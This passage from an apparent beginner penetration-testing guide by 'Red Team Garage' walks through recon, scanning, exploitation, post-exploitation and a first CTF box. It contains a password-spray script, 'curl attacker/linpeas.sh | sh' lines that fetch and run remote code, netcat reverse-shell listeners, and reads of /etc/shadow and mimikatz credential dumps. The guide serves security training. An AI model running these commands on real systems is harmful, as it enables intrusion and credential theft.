- ◆ **subprocess:** Run system commands from Python
- ◆ **os / sys:** File system operations, environment variables, system interaction
- ◆ **argparse:** Build professional command-line tools with arguments and help text
- ◆ **re:** Regular expressions — pattern matching in text (extract IPs, emails, etc.)
- ◆ **base64:** Encode/decode data — payload obfuscation
- ◆ **hashlib:** Hashing — generate MD5, SHA1, SHA256 hashes
- ◆ **impacket:** Windows protocol library — SMB, Kerberos, LDAP, MSSQL attacks
- ◆ **scapy:** Packet crafting and sniffing — custom network attacks
- ◆ **pwntools:** CTF and exploit development framework
- ◆ **paramiko:** SSH library — automated SSH connections and command execution

PRO TIP

You don't need to master all these libraries. Start with requests, socket, and subprocess. Add others as you need them for specific tasks.

6.6 Quick Bash Scripting Essentials

While Python is your primary language, quick bash one-liners and scripts are often faster for simple automation during engagements.

COMMAND / CODE

```
#!/bin/bash
# Ping sweep
for i in $(seq 1 254); do
    ping -c 1 -W 1 192.168.1.$i &>/dev/null && \
    echo "[+] 192.168.1.$i is alive" &
done
wait

# Password spray
while IFS= read -r user; do
    result=$(crackmapexec smb 10.10.10.5 -u "$user" -p 'Summer2024!' 2>&1)
    if echo "$result" | grep -q "[+]"; then
        echo "[!] VALID: $user:Summer2024!"
    fi
done < users.txt

# Automate nmap scans for multiple targets
while IFS= read -r target; do
    echo "[*] Scanning $target..."
    nmap -sC -sV -oA "scans/$target" "$target"
done < targets.txt

# Variables and conditionals
TARGET="10.10.10.5"
if ping -c 1 -W 1 $TARGET &>/dev/null; then
    echo "$TARGET is up - scanning..."
    nmap -sS -p- $TARGET -oA $TARGET
else
    echo "$TARGET is down"
fi
```

Chapter 7: How to Approach a Target — The Hacker Methodology

Having a structured methodology is what separates a script kiddie from a professional operator. Following a consistent process ensures you don't miss attack vectors and produces repeatable results.

7.1 Phase 1 — Reconnaissance

Gather as much information as possible before touching the target. This phase is about building a picture of the target organization, its people, and its technology.

- ◆ **Passive Recon (no target interaction):** WHOIS lookups, DNS records, certificate transparency logs, Google dorking, LinkedIn, GitHub, Shodan, Wayback Machine
- ◆ **Active Recon (direct interaction):** DNS enumeration, subdomain brute-forcing, web spidering, technology fingerprinting

COMMAND / CODE

```
# Passive recon checklist:
whois target.com                # Domain registration info
dig target.com ANY              # DNS records
subfinder -d target.com -silent | tee subs.txt # Subdomain discovery
cat subs.txt | httpx -silent -status-code      # Find live web hosts
theHarvester -d target.com -b all             # Email harvesting

# What you're looking for:
# - IP addresses and ranges
# - Subdomains (especially forgotten ones!)
# - Email addresses and naming conventions
# - Technology stack (servers, frameworks, CMS)
# - Employee names and roles (for social engineering)
```

7.2 Phase 2 — Scanning & Enumeration

Now you directly interact with the target to discover open ports, running services, and potential vulnerabilities.

COMMAND / CODE

```
# Step 1: Host discovery
nmap -sn 10.10.10.0/24 -oA discovery

# Step 2: Port scanning
nmap -sS -p- --min-rate 5000 TARGET -oA ports      # Find all open ports

# Step 3: Service enumeration
nmap -sC -sV -p OPEN_PORTS TARGET -oA detailed    # Script + version scan

# Step 4: Service-specific enumeration
# For each open port, dig deeper:
# Port 80/443: gobuster, nikto, whatweb
# Port 445: smbclient, crackmapexec, enum4linux-ng
# Port 389: ldapsearch, windapsearch
# Port 21: check anonymous FTP access
# Port 161: snmpwalk with common community strings

# Step 5: Vulnerability identification
nmap --script vuln -p OPEN_PORTS TARGET
searchsploit "service_name version"
nuclei -u http://TARGET
```

7.3 Phase 3 — Exploitation

Use discovered vulnerabilities to gain access. Start with the easiest, most reliable exploit path.

- ◆ **Check for low-hanging fruit first:** Default credentials, anonymous access, known CVEs with public exploits
- ◆ **Web application attacks:** SQLi, XSS, file upload, SSRF, authentication bypass
- ◆ **Service exploits:** EternalBlue (SMB), Log4Shell (Java), ProxyShell (Exchange)
- ◆ **Credential attacks:** Password spraying, credential stuffing, brute-force
- ◆ **Social engineering:** Phishing, vishing, pretexting (if in scope)

COMMAND / CODE

```
# Exploitation workflow:
# 1. Research: searchsploit, Google, GitHub for the service/version
# 2. Read the exploit code – NEVER run blindly!
# 3. Set up your listener: nc -lvnp 4444
# 4. Configure and run the exploit
# 5. Catch your shell
# 6. Immediately stabilize: python3 -c 'import pty; pty.spawn("/bin/bash")'
```

7.4 Phase 4 — Post-Exploitation

After getting initial access, escalate privileges, establish persistence, and gather intelligence for further movement.

COMMAND / CODE

```
# Immediate post-exploitation checklist:
whoami && id                # Who are you?
hostname && uname -a        # What system are you on?
ip a                      # What networks are connected?
sudo -l                   # Can you run anything as root?

# Run automated enumeration:
# Linux: curl attacker/linpeas.sh | sh
# Windows: upload and run winPEAS.exe

# Privilege escalation -> See RTG PrivEsc Guide

# Credential harvesting:
cat /etc/shadow             # Linux password hashes
mimikatz "sekurlsa::logonpasswords" # Windows credentials

# Lateral movement (if domain):
# Use harvested creds to move to other systems
# crackmapexec smb SUBNET -u user -p pass
```

7.5 Phase 5 — Reporting

Your report is the deliverable. A great report turns technical findings into business decisions. Without a good report, your entire engagement is wasted.

- ◆ **Executive Summary:** 1-page, non-technical overview for C-level executives. Business impact, risk rating, key recommendations.
- ◆ **Technical Summary:** High-level overview of methodology, scope, findings summary, and risk distribution.
- ◆ **Detailed Findings:** Each vulnerability with: description, severity (CVSS), evidence (screenshots, commands), impact, remediation steps, references.
- ◆ **Attack Narrative (Red Team):** Tell the story of the attack chain from start to finish. What worked, what didn't, where defenders succeeded or failed.
- ◆ **Appendices:** Full scan results, raw data, tool output, methodology details.

PRO TIP

Take screenshots and notes DURING the engagement, not after. Use tools like Obsidian, CherryTree, or Notion with templates. Your future self will thank you.

Chapter 8: Your First Hack — Step-by-Step Methodology

This chapter walks you through the exact process of attacking your first target — whether it's a Hack The Box machine, TryHackMe room, or a VulnHub VM. Follow this methodology and you'll develop the structured approach that separates successful hackers from frustrated ones.

8.1 Before You Start

- ◆ **Set up your notes:** Create a new note/page for this target. Include: target IP, date, and sections for recon, scanning, exploitation, privesc, and flags/loot.
- ◆ **Start a tmux session:** `tmux new -s hack` — keeps your work organized in multiple panes.
- ◆ **Create a working directory:** `mkdir -p ~/htb/target_name/scans ~/htb/target_name/loot`
- ◆ **Verify connectivity:** `ping -c 1 TARGET_IP`

8.2 Step-by-Step Walkthrough

Step 1: Quick Port Scan (2 minutes)

```
# Fast scan to find open ports
nmap -sS -p- --min-rate 5000 TARGET_IP -oA scans/all-ports
# Note down all open ports
```

COMMAND / CODE

Step 2: Detailed Service Scan (5 minutes)

```
# Detailed scan on discovered ports
nmap -sC -sV -p 22,80,445 TARGET_IP -oA scans/detailed
# Read the output carefully – versions, scripts results, OS detection
```

COMMAND / CODE

Step 3: Enumerate Each Service

COMMAND / CODE

```
# For HTTP (80/443):
whatweb http://TARGET_IP
gobuster dir -u http://TARGET_IP -w /usr/share/seclists/Discovery/Web-Content/raft-medium.txt
nikto -h http://TARGET_IP

# For SMB (445):
smbclient -L //TARGET_IP -N
crackmapexec smb TARGET_IP --shares
enum4linux-ng -A TARGET_IP

# For SSH (22):
# Note version – check for known exploits
# Try common/default credentials if other enum reveals usernames

# For any service:
searchsploit "service_name version_number"
```

Step 4: Find & Exploit Vulnerability

COMMAND / CODE

```
# Based on enumeration, identify attack vector:
# - Web app vulnerability? Test with Burp Suite
# - Known CVE? searchsploit -m EXPLOIT_ID, read the code, modify, run
# - Default credentials? Try them
# - File upload? Upload a web shell

# Set up listener FIRST:
nc -lvnp 4444

# Run exploit
# Catch shell!
```

Step 5: Stabilize Shell & Enumerate

```
COMMAND / CODE

# Stabilize immediately:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

# Post-exploitation enumeration:
whoami && id
cat /etc/passwd | grep bash
sudo -l
find / -perm -4000 2>/dev/null
cat /etc/crontab
ls -la /home/

# Grab user flag if available
cat /home/user/user.txt
```

Step 6: Privilege Escalation

```
COMMAND / CODE

# Run LinPEAS/WinPEAS for automated enumeration
curl http://YOUR_IP:8080/linpeas.sh | sh

# Check highlighted results (RED = critical)
# Common quick wins:
# - sudo -l shows NOPASSWD entries -> GTF0Bins
# - SUID binary found -> GTF0Bins
# - Writable cron job -> Replace with reverse shell
# - Kernel exploit -> linux-exploit-suggester
# - Stored credentials -> .bash_history, config files, env vars

# Escalate!
# Grab root flag:
cat /root/root.txt
```

Step 7: Document Everything

```
COMMAND / CODE

# Your notes should include:
# 1. Target IP and open ports
# 2. Services and versions discovered
# 3. Vulnerability identified and how you found it
# 4. Exploitation steps (exact commands)
# 5. Privilege escalation path
# 6. Flags / proof of compromise
# 7. What you learned
# 8. What you'd do differently next time
```

8.3 When You're Stuck (And You Will Be!)

- ◆ **Re-enumerate:** Go back to scanning. Run different wordlists. Check UDP ports. Try different tools.

- ◆ **Read the output carefully:** Most beginners miss critical information hiding in plain sight in scan results.
- ◆ **Check GTFOBins / LOLBAS:** If you found an interesting binary, check if it's exploitable.
- ◆ **Google the exact version number:** 'Apache 2.4.49 exploit' or 'OpenSSH 7.2 vulnerability'
- ◆ **Try default credentials:** admin:admin, root:root, guest:guest — you'd be surprised how often this works.
- ◆ **Take a break:** Fresh eyes solve problems. Walk away for 30 minutes and come back.
- ◆ **Ask for a nudge (not a solution):** Use forums, Discord, RTG community. Ask for direction, not answers.

WARNING

Resist the urge to look at walkthroughs immediately. Struggling is how you learn. Set a time limit (2-3 hours of genuine effort) before seeking hints.

8.4 Beginner's Checklist — Your First 30 Days

- ◆ **Week 1:** Install Kali Linux VM. Complete OverTheWire Bandit levels 0-15. Practice basic Linux commands daily.
- ◆ **Week 2:** Complete TryHackMe 'Intro to Pentesting' and 'Nmap' rooms. Write your first Python port scanner. Set up Metasploitable 2.
- ◆ **Week 3:** Complete your first Hack The Box Easy machine (with hints if needed). Practice Burp Suite basics. Complete TryHackMe OWASP Top 10 room.
- ◆ **Week 4:** Complete 2 more HTB Easy machines without hints. Set up DVWA and practice SQL injection. Write your first engagement-style notes. Join the RTG community!

8.5 Essential Bookmarks

- ◆ **GTFOBins:** gtfobins.github.io — Linux binary exploitation reference
- ◆ **LOLBAS:** lolbas-project.github.io — Windows living-off-the-land binaries
- ◆ **HackTricks:** hacktricks.xyz — Comprehensive pentesting/red team reference
- ◆ **PayloadsAllTheThings:** github.com/swisskyrepo — Payload cheatsheets for everything
- ◆ **RevShells:** revshells.com — Reverse shell generator for every language
- ◆ **CyberChef:** gchq.github.io/CyberChef — Data encoding/decoding Swiss Army knife
- ◆ **ExploitDB:** exploit-db.com — Public exploit database
- ◆ **MITRE ATT&CK:** attack.mitre.org — Adversary tactics and techniques framework

"The expert in anything was once a beginner."

Welcome to Red Team Garage. This guide is your starting point. The journey from here is long but incredibly rewarding. Every tool you master, every box you root, every technique you learn brings you closer to becoming the operator you want to be.

This guide is **completely free** — share it with anyone who wants to start their offensive security journey. Follow Red Team Garage for more guides, challenges, tools, and community support.

Stay curious. Stay hungry. Stay ethical. Happy Hacking!

— Red Team Garage (RTG) Community



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, and built for serious learners.
Build the most comprehensive red team technique library available anywhere.
Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.